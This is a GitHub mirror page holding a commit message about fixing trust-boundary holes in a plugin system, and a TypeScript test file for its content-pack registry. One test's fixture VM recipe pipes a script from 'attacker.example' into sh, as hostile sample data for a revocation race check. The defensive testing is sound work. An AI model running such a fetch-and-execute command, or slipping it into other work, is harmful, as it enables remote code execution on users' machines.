mirror of
https://github.com/stablyai/orca.git
synced 2026-09-22 16:02:32 +00:00
* fix(plugins): close trust-boundary holes in the plugin system
Move five security decisions to their chokepoints rather than leaving them
enumerated at individual call sites.
- Kill-list revocation reaches content packs: PluginContentPackRegistry now
takes an isKilled predicate and intersects it with any caller-supplied
approval, so a killed plugin's VM recipes can no longer reach
spawn(..., { shell: true }) through either reconcile() call site.
- Bound kill-list generatedAt to a 24h future skew at the parse chokepoint.
A far-future timestamp previously made every genuine later list look
"older" and disabled revocation permanently, persisted across restarts.
- Protect the whole auto.components.settings.Plugin* translation subtree
instead of an enumerated prefix list, so language packs cannot forge the
consent provenance badge or rewrite install-error security copy.
- Resolve manifest panel icons by own-key only; "constructor"/"__proto__"
previously yielded non-component prototype members that crashed the
right sidebar to its error boundary.
- Give panel liveness frames a reserved control budget so a panel that
saturates its action budget can still answer the watchdog.
Co-authored-by: Orca <help@stably.ai>
* fix(plugins): keep the kill-list future bound off the cache read path
The schema-level generatedAt bound re-judged the on-disk cache against the
device clock at every launch, so a client whose clock ran behind the last
genuine publication discarded its whole cached kill list and started with
zero revocations. Move the bound to the two fetch chokepoints instead.
Co-authored-by: Orca <help@stably.ai>
* fix(plugins): remove the reserved-lane starvation window and the revocation TOCTOU
Review follow-ups on the trust-boundary fixes:
- The reserved liveness lane had a per-window count equal to the ping
interval, so a panel's own pong-shaped traffic could spend it and drop
the next genuine reply — reintroducing the starvation the lane exists to
prevent. The lane is now size-bounded only; rate stays bounded because
every pong is also charged to the data budget.
- Only schema-valid pongs take the lane now, so near-miss pong-shaped junk
cannot drain it. readPanelPongId replaces the zod parse on this
guest-controlled path (a rejected safeParse allocates an issue list, ~90x
the accepted-path cost) and is pinned to the schema by a parity test.
- Re-read the kill list inside approveAtomically: approvedKeys is snapshotted
before an awaited verification phase, so a plugin killed during that wait
could still publish VM recipes and language packs.
- Assert the curated icon resolves to FileText; the old equality also passed
when both sides fell back to Plug.
Co-authored-by: Orca <help@stably.ai>
* fix(plugins): match zod's safe-integer bound in the pong reader
readPanelPongId used Number.isInteger, but zod's .int() rejects anything
above 2**53-1, so pingIds like 1e100 took the reserved lane the schema
would have refused. The parity test never probed that boundary.
Co-authored-by: Orca <help@stably.ai>
---------
Co-authored-by: Orca <help@stably.ai>
166 lines
6.0 KiB
TypeScript
166 lines
6.0 KiB
TypeScript
import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
|
|
import { tmpdir } from 'node:os'
|
|
import { join } from 'node:path'
|
|
import { afterEach, describe, expect, it } from 'vitest'
|
|
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
|
|
import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
|
|
import { PluginContentVerifier } from './plugin-content-integrity'
|
|
import { hashPluginTree } from './plugin-content-hash'
|
|
import { PluginContentPackRegistry } from './plugin-content-pack-registry'
|
|
import type { ValidDiscoveredPlugin } from './plugin-discovery'
|
|
|
|
const roots: string[] = []
|
|
|
|
afterEach(async () => {
|
|
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
|
})
|
|
|
|
describe('PluginContentPackRegistry', () => {
|
|
it('activates all contributions from a plugin atomically', async () => {
|
|
const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-registry-'))
|
|
roots.push(rootDir)
|
|
await mkdir(join(rootDir, 'locales'))
|
|
await Promise.all([
|
|
writeFile(
|
|
join(rootDir, 'locales', 'invalid.json'),
|
|
JSON.stringify({ settings: { title: 42 } })
|
|
),
|
|
writeFile(join(rootDir, 'locales', 'valid.json'), JSON.stringify({ settings: 'Ajustes' }))
|
|
])
|
|
const manifest = pluginManifestSchema.parse({
|
|
manifestVersion: 1,
|
|
id: 'mixed-content',
|
|
publisher: 'orca-samples',
|
|
name: 'Mixed Content',
|
|
version: '1.0.0',
|
|
engines: { orca: '>=1.0.0' },
|
|
pluginApi: 1,
|
|
contributes: {
|
|
languagePacks: [
|
|
{ locale: 'es', path: 'locales/valid.json' },
|
|
{ locale: 'pt-BR', path: 'locales/invalid.json' }
|
|
]
|
|
},
|
|
capabilities: []
|
|
})
|
|
const plugin: ValidDiscoveredPlugin = {
|
|
pluginKey: 'orca-samples.mixed-content',
|
|
rootDir,
|
|
manifest,
|
|
consentFingerprint: fingerprintPluginConsent(manifest),
|
|
contentHash: null,
|
|
isDev: true
|
|
}
|
|
const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => false)
|
|
|
|
await registry.reconcile([plugin], () => true)
|
|
|
|
expect(registry.error(plugin.pluginKey)).toContain('string or object')
|
|
expect(registry.languagePacks.list()).toEqual([])
|
|
})
|
|
|
|
it('rolls back valid packs when a VM recipe from the same plugin is invalid', async () => {
|
|
const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-vm-'))
|
|
roots.push(rootDir)
|
|
await Promise.all([mkdir(join(rootDir, 'locales')), mkdir(join(rootDir, 'recipes'))])
|
|
await Promise.all([
|
|
writeFile(join(rootDir, 'locales', 'valid.json'), JSON.stringify({ settings: 'Ajustes' })),
|
|
writeFile(
|
|
join(rootDir, 'recipes', 'invalid.json'),
|
|
JSON.stringify({ schemaVersion: 1, id: 'bad', name: 'Bad', create: 'create', resume: 'up' })
|
|
)
|
|
])
|
|
const manifest = pluginManifestSchema.parse({
|
|
manifestVersion: 1,
|
|
id: 'mixed-recipes',
|
|
publisher: 'orca-samples',
|
|
name: 'Mixed Recipes',
|
|
version: '1.0.0',
|
|
engines: { orca: '>=1.0.0' },
|
|
pluginApi: 1,
|
|
contributes: {
|
|
languagePacks: [{ locale: 'es', path: 'locales/valid.json' }],
|
|
vmRecipes: [{ path: 'recipes/invalid.json' }]
|
|
},
|
|
capabilities: []
|
|
})
|
|
const content = await hashPluginTree(rootDir)
|
|
if (!content.ok) {
|
|
throw new Error(content.error)
|
|
}
|
|
const plugin: ValidDiscoveredPlugin = {
|
|
pluginKey: 'orca-samples.mixed-recipes',
|
|
rootDir,
|
|
manifest,
|
|
consentFingerprint: fingerprintPluginConsent(manifest, content.hash),
|
|
consentContentHash: content.hash,
|
|
contentHash: null,
|
|
isDev: true
|
|
}
|
|
const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => false)
|
|
|
|
await registry.reconcile([plugin], () => true)
|
|
|
|
expect(registry.error(plugin.pluginKey)).toContain('suspend and resume')
|
|
expect(registry.languagePacks.list()).toEqual([])
|
|
expect(registry.vmRecipes.list()).toEqual([])
|
|
})
|
|
|
|
it('withholds content from a plugin killed during the awaited verification phase', async () => {
|
|
const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-kill-race-'))
|
|
roots.push(rootDir)
|
|
await Promise.all([mkdir(join(rootDir, 'locales')), mkdir(join(rootDir, 'recipes'))])
|
|
await Promise.all([
|
|
writeFile(join(rootDir, 'locales', 'es.json'), JSON.stringify({ settings: 'Ajustes' })),
|
|
writeFile(
|
|
join(rootDir, 'recipes', 'vm.json'),
|
|
JSON.stringify({
|
|
schemaVersion: 1,
|
|
id: 'raced-recipe',
|
|
name: 'Raced Recipe',
|
|
create: 'curl https://attacker.example/payload.sh | sh'
|
|
})
|
|
)
|
|
])
|
|
const manifest = pluginManifestSchema.parse({
|
|
manifestVersion: 1,
|
|
id: 'kill-race',
|
|
publisher: 'orca-samples',
|
|
name: 'Kill Race',
|
|
version: '1.0.0',
|
|
engines: { orca: '>=1.0.0' },
|
|
pluginApi: 1,
|
|
contributes: {
|
|
languagePacks: [{ locale: 'es', path: 'locales/es.json' }],
|
|
vmRecipes: [{ path: 'recipes/vm.json' }]
|
|
},
|
|
capabilities: []
|
|
})
|
|
const content = await hashPluginTree(rootDir)
|
|
if (!content.ok) {
|
|
throw new Error(content.error)
|
|
}
|
|
const plugin: ValidDiscoveredPlugin = {
|
|
pluginKey: 'orca-samples.kill-race',
|
|
rootDir,
|
|
manifest,
|
|
consentFingerprint: fingerprintPluginConsent(manifest, content.hash),
|
|
consentContentHash: content.hash,
|
|
contentHash: null,
|
|
isDev: true
|
|
}
|
|
let killed = false
|
|
const registry = new PluginContentPackRegistry(new PluginContentVerifier(), () => killed)
|
|
|
|
// reconcile() builds its approved-key snapshot synchronously before it
|
|
// first yields, so flipping the kill list here lands squarely inside the
|
|
// awaited verification window the final admission gate must re-check.
|
|
const reconciled = registry.reconcile([plugin], () => true)
|
|
killed = true
|
|
await reconciled
|
|
|
|
expect(registry.vmRecipes.list()).toEqual([])
|
|
expect(registry.languagePacks.list()).toEqual([])
|
|
})
|
|
})
|